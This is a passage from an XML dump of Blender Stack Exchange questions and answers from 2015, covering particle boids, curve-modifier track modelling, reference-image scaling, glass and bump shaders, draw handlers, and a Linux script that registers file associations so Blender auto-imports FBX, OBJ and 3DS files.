  <row Id="32018" PostTypeId="2" ParentId="32017" CreationDate="2015-06-05T09:27:09.687" Score="5" Body="&lt;p&gt;I expect you can do a good job of that in blender, within the particle physics settings you can find some &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:FR/2.6/Manual/Physics/Particles/Physics/Boids&quot; rel=&quot;nofollow&quot;&gt;boids options&lt;/a&gt;, these can be used to simulate a flock of birds so it should do bees just as well. I would have some empties moving from place to place that a swarm would follow to specify the timing of the bees moving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use multiple particle systems so you may want one for the bees hanging around the hive; one (or more) for each group(s) that goes off to the flowers; and one (or more) for each group(s) that returns to the hive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use particles to place the flowers around the scene.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastEditorUserId="5426" LastEditDate="2015-06-18T19:55:39.057" LastActivityDate="2015-06-18T19:55:39.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32019" PostTypeId="1" AcceptedAnswerId="32023" CreationDate="2015-06-06T15:26:17.417" Score="6" ViewCount="704" Body="&lt;p&gt;I have imported a prefab from unity that looks like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fWhQO.png&quot; alt=&quot;model&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a track for a roller coaster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to twist it about the axis in between them such that it forms a roller coaster path like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/itamR.jpg&quot; alt=&quot;example roller coaster&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how to twist it, both along its own axis, and also along another axis such that it forms a loop, as shown in the roller coaster figure. I thought that making a parent empty object (Plane Axes) and twisting it would solve the problem, but the Empty object doesn't seem to have modifiers, so I can't even add a twist to that object.&lt;/p&gt;&#xA;" OwnerUserId="14838" LastEditorDisplayName="user1853" LastEditDate="2016-01-26T17:54:38.740" LastActivityDate="2016-01-26T17:54:38.740" Title="Twist an object along multiple axes like a roller coaster path" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32020" PostTypeId="1" CreationDate="2015-06-06T15:36:40.260" Score="11" ViewCount="48630" Body="&lt;p&gt;I am trying to model this car and I got the blueprints and cropped each of the views and check that they were all within the scale of each other. I used these blueprints here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://carblueprints.info/blueprints/porsche/porsche-911-gt3-2.gif&quot; rel=&quot;noreferrer&quot;&gt;http://carblueprints.info/blueprints/porsche/porsche-911-gt3-2.gif&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't have to resize any of them just crop it so that each view is their own file and saved them in png format. So when I placed them in Blender they got resized and I don't know how to scale them within Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm getting so far.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ivpp4.png&quot; alt=&quot;blender with reference images loaded in 3D view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The length of the car from the front is the same length as the car from the side view. I want to scale down the front view of the car but I do not know how. Also is there a way I can prevent blender from scaling so that when I import it, the images all stay in their respective sizes so I won't have to do any scaling in Blender.&lt;/p&gt;&#xA;" OwnerUserId="14837" LastEditorUserId="2217" LastEditDate="2015-06-06T15:43:26.657" LastActivityDate="2017-01-11T22:37:01.833" Title="How do I scale my reference images correctly within Blender and is there an easier way?" Tags="&lt;3d-view&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32021" PostTypeId="2" ParentId="32020" CreationDate="2015-06-06T15:48:36.167" Score="13" Body="&lt;p&gt;You are using background images.&lt;br&gt;&#xA;The way you scale a background image is by adjusting the &lt;em&gt;Size&lt;/em&gt; value. It is located at the bottom of the background image settings in the properties region (&lt;kbd&gt;N&lt;/kbd&gt;) in the 3D view.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/81wK0.png&quot; alt=&quot;background image settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However you may find it easier to use Image empties instead of the background images.&lt;br&gt;&#xA;Question links:&lt;br&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/q/9328/2217&quot;&gt;How to set-up the perspective view based on a reference image?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/q/3339/2217&quot;&gt;Drag background images in 3D view?&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20150315030831/http://cgcookie.com/blender/2015/03/11/setting-image-planes/&quot; rel=&quot;noreferrer&quot;&gt;cgCookie tutorial&lt;/a&gt; and an &lt;a href=&quot;https://vimeo.com/25737480&quot; rel=&quot;noreferrer&quot;&gt;older cgCookie tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-11-22T00:52:09.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32022" PostTypeId="1" AcceptedAnswerId="32026" CreationDate="2015-06-06T18:59:15.543" Score="11" ViewCount="17356" Body="&lt;p&gt;I was wondering if any of you had any ideas on how I might setup a shader to look something like this (in Cycles):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tUDdp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a little bit frosted, but the main thing that I'm trying to acheive is the &quot;bumpy&quot; appearence.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorDisplayName="user1853" LastEditDate="2017-04-06T10:43:51.653" LastActivityDate="2017-04-06T10:43:51.653" Title="How to edit a glass shader to make it look like bumpy frosted glass" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32023" PostTypeId="2" ParentId="32019" CreationDate="2015-06-06T19:15:17.217" Score="9" Body="&lt;p&gt;You need to model one segment of the repeating pattern of the roller coaster track, and then add an array modifier and a curve modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important thing is to make sure you align the first control point in the curve with the object origin of the mesh object. Also, you can set the array length to be based on the length of the curve as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h1s94.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorDisplayName="user1853" LastEditDate="2016-01-26T17:12:09.253" LastActivityDate="2016-01-26T17:12:09.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32024" PostTypeId="1" CreationDate="2015-06-06T19:27:58.267" Score="8" ViewCount="1027" Body="&lt;p&gt;I'm trying to make a 3D model of a twist-cut torus, like this one: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/3_VydFQmtZ8?t=3m39s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/3_VydFQmtZ8?t=3m39s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current version of the model costs about $50 in Shapeways.&#xA;I'm trying to get that down by cutting both of the half-tori into two hollow pieces, so 4 pieces total. Then I would make them tight fitting so I can assemble it later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f3kwG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the 'Bridge Edge Loops' -tool pairs the vertices up wrong,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xzCsH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FGXJz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I can't cut the tori straight:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iyYk2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about making this possible?&lt;/p&gt;&#xA;" OwnerUserId="14839" LastActivityDate="2015-11-11T23:16:47.720" Title="How to bridge edge loops with a twist of .5?" Tags="&lt;edges&gt;&lt;topology&gt;&lt;geometry&gt;&lt;3d-printing&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32025" PostTypeId="2" ParentId="32022" CreationDate="2015-06-06T19:49:30.587" Score="9" Body="&lt;p&gt;Just set up the nodes as pictured below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EfUKu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Noise Texture&lt;/em&gt;&lt;/strong&gt; node (&lt;em&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;--&gt;Texture--&gt;Noise Texture&lt;/em&gt;) and play with its settings. Connect it to the &lt;em&gt;Displacement&lt;/em&gt; socket of the &lt;em&gt;Material Output&lt;/em&gt; node. Place a &lt;strong&gt;&lt;em&gt;Math Node&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;--&gt;Converter--&gt;Math&lt;/em&gt;) between them and set its type to &lt;em&gt;Multiply&lt;/em&gt; to control the amount of the bumpiness.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X6t9I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also increase the &lt;strong&gt;&lt;em&gt;Roughness&lt;/em&gt;&lt;/strong&gt; value of the &lt;em&gt;Glass Node&lt;/em&gt;. I think you may not need to add a bumpiness then. Of course you can try to increase the Roughness value and add the bumpiness at the same time.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hA6lO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-06-06T20:02:38.153" LastActivityDate="2015-06-06T20:02:38.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32026" PostTypeId="2" ParentId="32022" CreationDate="2015-06-06T20:21:22.413" Score="15" Body="&lt;p&gt;You can also use a &lt;a href=&quot;http://blender.org/manual/render/cycles/nodes/more.html#bump&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;bump node&lt;/em&gt;&lt;/a&gt;, which offers more control and tends to have fewer artifacts than the displacement output (see &lt;a href=&quot;https://blender.stackexchange.com/q/14351/599&quot;&gt;What is the difference between the displace socket and a bump map?&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oU3H7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;The fake glass node group lets light pass through the glass more easily, see &lt;a href=&quot;https://blender.stackexchange.com/a/2565/599&quot;&gt;this answer&lt;/a&gt;.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-06-06T20:21:22.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32027" PostTypeId="1" AcceptedAnswerId="32041" CreationDate="2015-06-06T20:21:37.347" Score="2" ViewCount="406" Body="&lt;p&gt;I need to update my text every time I alter my mesh in edit or object mode or if I edit the Tool panel.&#xA;I use this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# [snip]&#xA;# line 308&#xA;def update_scene(context):&#xA;    obj = bpy.context.active_object&#xA;    if obj.is_updated or obj.data.is_updated:&#xA;        handle_add(self, context)&#xA;        print(&quot;%s - Object data is_updated (pre)&quot; % obj.data.name)&#xA;&#xA;def handle_add(self, context):&#xA;    VIEW3D_OT_ADH_display_text._handle = bpy.types.SpaceView3D.draw_handler_add(&#xA;       draw_text_callback, &#xA;       (self, context),&#xA;       'WINDOW', 'POST_PIXEL')&#xA;&#xA;def handle_remove(context):&#xA;    _handle = VIEW3D_OT_ADH_display_text._handle&#xA;    if _handle != None:&#xA;        bpy.types.SpaceView3D.draw_handler_remove(_handle, 'WINDOW')&#xA;    VIEW3D_OT_ADH_display_text._handle = None&#xA;&#xA;&#xA;class VIEW3D_OT_ADH_display_text(bpy.types.Operator):&#xA;    bl_idname = &quot;view3d.adh_display_text&quot;&#xA;    bl_label = &quot;Display text&quot;&#xA;    _handle = None&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return update_scene not in bpy.app.handlers.scene_update_post&#xA;&#xA;    def execute(self, context):&#xA;        st = context.window_manager.show_text&#xA;&#xA;        handle_add(self, context)&#xA;        bpy.app.handlers.scene_update_post.append(update_scene)&#xA;&#xA;        st.enabled = True     &#xA;&#xA;        return{'FINISHED'}&#xA;&#xA;class VIEW3D_OT_ADH_remove_text(bpy.types.Operator):&#xA;    bl_idname = &quot;view3d.adh_remove_text&quot;&#xA;    bl_label = &quot;Remove text&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return update_scene in bpy.app.handlers.scene_update_post&#xA;&#xA;    def execute(self, context):&#xA;        st = context.window_manager.show_text&#xA;&#xA;        handle_remove(context)&#xA;        bpy.app.handlers.scene_update_post.remove(update_scene)&#xA;&#xA;        st.enabled = False&#xA;&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I run the script like that, the console shows the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;line 312, in update_scene&#xA;NameError: name 'self' is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I add self in the update_scene arguments, another error shows in the console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: update_scene() missing 1 required positional argument: 'context'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not managed to solve this problem, which is likely an easy fix. How can I do that please ?&lt;/p&gt;&#xA;" OwnerUserId="11582" LastEditorUserId="47" LastEditDate="2015-06-07T07:29:51.277" LastActivityDate="2015-06-07T10:50:09.133" Title="update text after edit mesh with handlers" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32028" PostTypeId="1" AcceptedAnswerId="32030" CreationDate="2015-06-06T22:47:40.983" Score="6" ViewCount="2134" Body="&lt;p&gt;I'm working on a bathroom interior, and I figured that one of the main things I need is to have a good drywall bump map. I've looked around online to see if there are any good drywall type bumpmaps, but I haven't found anything good/free to use.  Is there anyway that I can create a convincing bump map that looks something like this image (in Cycles):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F8a9m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Ignore the towel holder). It's okay if it's tile-able, but it needs to be big enough so that it doesn't look repeated.  If a similar effect can be achieved through procedural textures, I'm all for it.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorDisplayName="user7952" LastEditDate="2015-06-06T23:50:03.297" LastActivityDate="2015-06-06T23:50:03.297" Title="How to make custom bump maps" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32029" PostTypeId="1" CreationDate="2015-06-06T22:52:14.813" Score="2" ViewCount="209" Body="&lt;p&gt;I have an Nvidia GeForce GTX 750 GPU with two gigabytes of memory.  I followed Andrew Price's Tutorial on how to make realistic towels in Blender, and I was only able to do 700,000 hairs (before my GPU ran out of memory), instead of the 1,000,000 hairs that he did.  As a result, mine didn't look as realistic.  I'm working on a bathroom interior, and I'm wondering if there is anyway to achieve a similar result without using a hair particle system?  It's okay if it doesn't look good close up, it will be farther away from my camera in the scene.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-12-01T23:55:30.433" Title="Towel hairs taking up too much gpu memory" Tags="&lt;gpu&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32030" PostTypeId="2" ParentId="32028" CreationDate="2015-06-06T23:02:55.517" Score="4" Body="&lt;p&gt;I'm going to assume here that you have a high resolution image of the wall you want to replicate. I'm going to be using &lt;a href=&quot;http://cgtextures.com/texview.php?id=98551&quot; rel=&quot;nofollow noreferrer&quot;&gt;this texture&lt;/a&gt; from cgtextures.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way that I know of for this, is to import it into gimp, crop it to a 1:1 aspect ratio:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pqbLZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;You then use the make seamless filter to get this result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ccUVA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;Then import it into Blender and use the bump node to generate a normal map.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rgKIy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;em&gt;Please note that this is how I like to setup a material, but the only important parts are the image texture and the bump nodes.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-06-06T23:35:31.453" LastActivityDate="2015-06-06T23:35:31.453" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32032" PostTypeId="1" AcceptedAnswerId="32063" CreationDate="2015-06-07T00:22:23.067" Score="1" ViewCount="1911" Body="&lt;p&gt;I have several objects in a scene. I have a plane that is the closest object to the camera, and I want it to mask out one object while leaving the other object alone. I was using the mask transparency until I came to this problem. Any help? If it makes a difference, the objects are all animated&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2015-06-07T20:31:56.937" Title="Mask out certain objects?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32033" PostTypeId="1" AcceptedAnswerId="32057" CreationDate="2015-06-07T01:13:35.700" Score="3" ViewCount="942" Body="&lt;p&gt;I made a own model for my game, everything worked well despite some difficulties, but now I have a problem. My mesh is built up by seperate objects, such as teeth, eyes and the body. I already made an armature and now the upper teeth and the eyes don't move correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s4goZ.jpg&quot; alt=&quot;fig 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5rj5.jpg&quot; alt=&quot;fig 2. the eyes and the upper teeth move &amp;quot;too fast&amp;quot;. No problems with the other teeth&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried putting all objects into a group and also just made a single object (Although it's not an option for my model since I need different materials for these objects in the game itself), but still this problem occurs. Already checked the vertex groups, the weight and everything but couldn't find anything suspicious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a nasty stop for my project, hopefully you guys can help me somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;.blend file:&#xA;&lt;a href=&quot;http://www.mediafire.com/download/gksxei1emlgp0ta/watcher_mesh_rigging1.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/download/gksxei1emlgp0ta/watcher_mesh_rigging1.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers to all,&#xA;Johann&lt;/p&gt;&#xA;" OwnerUserId="14845" LastEditorUserId="14845" LastEditDate="2015-06-07T14:11:37.697" LastActivityDate="2015-06-07T17:01:37.657" Title="Multiple Objects don't move correctly in same armature" Tags="&lt;animation&gt;&lt;objects&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32034" PostTypeId="1" CreationDate="2015-06-07T01:30:14.343" Score="1" ViewCount="97" Body="&lt;p&gt;I have a hair particle group, that takes buildings from a building group, and places them on a grid. This works perfectly fine. I recently added an emitter system to each of the buildings in the building group to show random lit windows. It shows perfectly fine in the preview when looking at the group of buildings, but when looking at the hair particle system, the buildings show as usual, but the emitter doesn't work. There are a few other buildings using the same emitter system in the scene that are not in the building group, which the emitter system is working fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine if I convert the emitter system, but is not ideal. Is there a way to get this nested particle system to work, without converting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="14374" LastActivityDate="2015-06-07T01:30:14.343" Title="Nested Particle Systems" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-06-07T01:55:44.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="32035" PostTypeId="2" ParentId="31126" CreationDate="2015-06-07T03:32:11.097" Score="2" Body="&lt;p&gt;For an &lt;strong&gt;external workflow&lt;/strong&gt; I suggest &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/Script_Runner&quot; rel=&quot;nofollow noreferrer&quot;&gt;Script Runner&lt;/a&gt;. This Addon allows to &lt;strong&gt;execute external scripts&lt;/strong&gt; (up to 10 external python files) in &lt;em&gt;3d View&lt;/em&gt; or the &lt;em&gt;Text Editor&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;strong&gt;every script is basically a button&lt;/strong&gt;, you can assign a shortcut via &lt;kbd&gt;Right Click&lt;/kbd&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/icj8B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally prefer &lt;kbd&gt;Q&lt;/kbd&gt;, this results in the following &lt;strong&gt;workflow&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Edit the script in an &lt;strong&gt;external editor&lt;/strong&gt;,&lt;/li&gt;&#xA;&lt;li&gt;Save it and &lt;strong&gt;switch back to blender&lt;/strong&gt; (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;) &lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Q&lt;/kbd&gt; in blender to &lt;strong&gt;execute the script&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7474" LastEditorUserId="3710" LastEditDate="2015-06-08T10:00:25.597" LastActivityDate="2015-06-08T10:00:25.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32036" PostTypeId="1" AcceptedAnswerId="32037" CreationDate="2015-06-07T03:41:42.127" Score="14" ViewCount="3168" Body="&lt;p&gt;Is there a way to make Blender auto import files that are not &lt;code&gt;.blend&lt;/code&gt; when you open them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if you open a &lt;code&gt;.fbx&lt;/code&gt; file by double clicking on it, and you have Blender set as default application, then import it to a new &lt;code&gt;.blend&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make Blender import this &lt;code&gt;.fbx&lt;/code&gt; file just like you would do it manually by using &lt;em&gt;File &gt; Import &gt; FBX&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, Blender just opens up and loads default new scene when you open anything that is not &lt;code&gt;.blend&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="3078" LastEditDate="2015-06-13T09:09:19.527" LastActivityDate="2020-06-01T01:30:22.370" Title="Is it possible to associate non-blend files with Blender?" Tags="&lt;import&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32037" PostTypeId="2" ParentId="32036" CreationDate="2015-06-07T04:55:24.707" Score="17" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, Blender doesn't support this. Mainly because there are many options you may want to configure while importing a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if its vital for your work-flow, writing a script to do this is not such a difficult task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --python /path/to/auto_open.py --&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Contents of &lt;code&gt;auto_open.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;from sys import argv&#xA;argv = argv[argv.index(&quot;--&quot;) + 1:]&#xA;&#xA;# format specific options... change as you like&#xA;args_fbx = dict(&#xA;    # global_scale=1.0,&#xA;    )&#xA;&#xA;args_obj = dict(&#xA;    # use_image_search=False,&#xA;    )&#xA;&#xA;args_3ds = dict(&#xA;    # constrain_size=0.0,&#xA;    )&#xA;&#xA;import bpy&#xA;for f in argv:&#xA;    ext = os.path.splitext(f)[1].lower()&#xA;&#xA;    if ext == &quot;.fbx&quot;:&#xA;        bpy.ops.import_scene.fbx(filepath=f, **args_fbx)&#xA;    elif ext == &quot;.obj&quot;:&#xA;        bpy.ops.import_scene.obj(filepath=f, **args_obj)&#xA;    elif ext == &quot;.3ds&quot;:&#xA;        bpy.ops.import_scene.autodesk_3ds(filepath=f, **args_3ds)&#xA;    else:&#xA;        print(&quot;Extension %r is not known!&quot; % ext)&#xA;else:&#xA;    print(&quot;No files passed&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File associations typically add the file to the end of the command to form something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --python /path/to/auto_open.py -- /home/me/my_model.fbx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Linux (Setup Script)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Setting file associations can be done via this script (to save you having to do it manually), tested on Linux with Gnome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run this once &lt;code&gt;bash blender_auto_import.sh&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;echo &quot;Setting up Blender file extensions...&quot;&#xA;DESKTOP_FILE=&quot;$HOME/.local/share/applications/blender_auto_import.desktop&quot;&#xA;MIME_DIR=&quot;$HOME/.local/share/mime/packages&quot;&#xA;PYTHON_SCRIPT=&quot;$HOME/.config/blender/blender_auto_open.py&quot;&#xA;EXT_LIST=&quot;fbx obj 3ds&quot;&#xA;&#xA;mkdir -p $(dirname &quot;$DESKTOP_FILE&quot;)&#xA;mkdir -p $(dirname &quot;$PYTHON_SCRIPT&quot;)&#xA;&#xA;tee $DESKTOP_FILE &amp;gt; /dev/null &amp;lt;&amp;lt;EOF&#xA;[Desktop Entry]&#xA;Encoding=UTF-8&#xA;Name=Blender Auto Import&#xA;Exec=blender --python $PYTHON_SCRIPT -- %F&#xA;MimeType=application/x-blender_auto_import;&#xA;Icon=blender&#xA;Terminal=false&#xA;Type=Application&#xA;Categories=Graphics;3DGraphics;&#xA;EOF&#xA;echo &quot;  written: '$DESKTOP_FILE'&quot;&#xA;&#xA;# setup file associations&#xA;for EXT in $EXT_LIST; do&#xA;    XML_FILEPATH=&quot;$MIME_DIR/x-blender_auto_import_$EXT.xml&quot;&#xA;    tee $XML_FILEPATH &amp;gt; /dev/null &amp;lt;&amp;lt;EOF&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;mime-info xmlns=&quot;http://www.freedesktop.org/standards/shared-mime-info&quot;&amp;gt;&#xA;    &amp;lt;mime-type type=&quot;application/x-blender_auto_import_$EXT&quot;&amp;gt;&#xA;        &amp;lt;comment&amp;gt;Blender $EXT file&amp;lt;/comment&amp;gt;&#xA;        &amp;lt;glob pattern=&quot;*.$EXT&quot;/&amp;gt;&#xA;    &amp;lt;/mime-type&amp;gt;&#xA;&amp;lt;/mime-info&amp;gt;&#xA;EOF&#xA;    echo &quot;  written: '$XML_FILEPATH'&quot;&#xA;done&#xA;&#xA;# update desktop files&#xA;update-desktop-database $(dirname &quot;$DESKTOP_FILE&quot;)&#xA;update-mime-database $(dirname &quot;$MIME_DIR&quot;)&#xA;&#xA;for EXT in $EXT_LIST; do&#xA;    xdg-mime default ${DESKTOP_FILE##*/} 